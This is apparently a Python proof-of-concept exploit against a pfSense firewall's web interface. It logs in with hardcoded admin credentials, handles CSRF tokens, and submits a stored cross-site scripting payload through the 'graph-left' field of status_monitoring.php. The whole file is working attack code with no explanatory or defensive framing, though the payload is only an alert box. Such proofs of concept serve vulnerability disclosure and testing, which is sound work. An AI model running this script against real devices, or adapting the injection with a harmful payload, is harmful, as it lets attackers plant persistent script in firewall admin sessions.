#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup

baseurl  = 'https://198.51.100.34'

target = baseurl + '/status_monitoring.php'

login_data = {
    'login'        : 'Login',
    'usernamefld'  : 'admin',
    'passwordfld'  : 'pfsense2',
}

target_data = {
	"category-left": "system",
	"graph-left": "\");alert('XSS');//",
	"category-right": "none",
	"time-period": "-1d",
	"resolution": "300",
	"graph-type": "line",
	"invert": "true",
	"refresh-interval": "0",
	"save-view": "true",
	"view-title": "default"
}

headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:151.0) Gecko/20100101 Firefox/151.0'}

with requests.Session() as s:
    # Fetch CSRF token from login page
    r = s.get(baseurl, headers=headers, verify=False)

    soup = BeautifulSoup(r.text, 'lxml')
    login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']

    # Login
    r = s.post(baseurl, data=login_data, headers=headers)

    # Find the next CSRF token
    soup = BeautifulSoup(r.text, 'lxml')
    target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']

    # Submit actual request
    r = s.post(target, data=target_data, headers=headers)

    # Dump input errors from response
    soup = BeautifulSoup(r.text, 'lxml')
    input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
    if (input_errors):
        print("Input errors:\n")
        for ie in input_errors:
            print("* " + ie + "\n")

print('Done')